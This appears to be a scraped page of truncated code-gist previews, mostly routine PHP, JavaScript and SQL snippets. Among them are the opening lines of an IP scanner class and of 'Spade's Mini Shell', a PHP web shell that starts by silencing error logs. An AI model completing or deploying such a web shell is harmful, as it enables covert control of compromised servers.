This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$array = [0 => "a", 1 => "b", 2 => "c"]; | |
\unset($array[1]); | |
//↑ Key which you want to delete | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Description: | |
This function returns the duration of the given time period in days, hours, minutes and seconds. For example: echo convertSecToStr('654321'); would return "7 days, 13 hours, 45 minutes, 21 seconds" | |
Source: http://www.apphp.com/index.php?snippet=php-convert-seconds-into-time-string | |
*/ | |
function convertSecToStr($secs){ | |
$output = ''; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Auction bid | |
* bid.php template for Enfold theme to fix double plus / minus button issue | |
* | |
* usage: copy this template file to your_theme/wooocommerce/single-product/bid.php | |
*/ | |
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $r1 = rand(3, 9); $r2 = rand(1, 99); $rand = $r1.'.'.$r2.'MB'; $rr1 = rand(3, 9); $rr2 = rand(1, 99); $rand2 = $rr1.':'.$rr2.' min'; ?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(0); | |
/** | |
* | |
*/ | |
class Ipscanner | |
{ | |
var $timeout; | |
function banner(){ | |
echo "------------------------------------\r\n"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Spade's Mini Shell | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
@ini_set('display_errors', 0); | |
@error_reporting(0); | |
@error_log(false); | |
$slash = '/'; | |
if(strtolower(substr(PHP_OS,0,3))=='win'){ $os = 'win'; $slash = '\\'; $ox = "Windows";}else{ $os = "nix"; $ox = "Linux"; } | |
function sanitize($object){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$a = 1; | |
while ($a <= 20) { | |
echo "Hello $a<br> "; | |
$a += 4; | |
} | |
for ($i = 1; $i <=5; $i++) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(E_ALL); | |
/* | |
* * * * * * | |
* ORIGINAL CODER: | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
app.use('/get-favorites-info', (req, res, next) => { | |
if (!req.session.likeItems){ | |
req.session.likeItems = {} | |
} | |
const { id } = req.body || {} | |
if (id) { | |
req.session.likeItems[id] = id | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DELETE posts | |
FROM posts | |
INNER JOIN projects ON projects.project_id = posts.project_id | |
WHERE projects.client_id = :client_id |
NewerOlder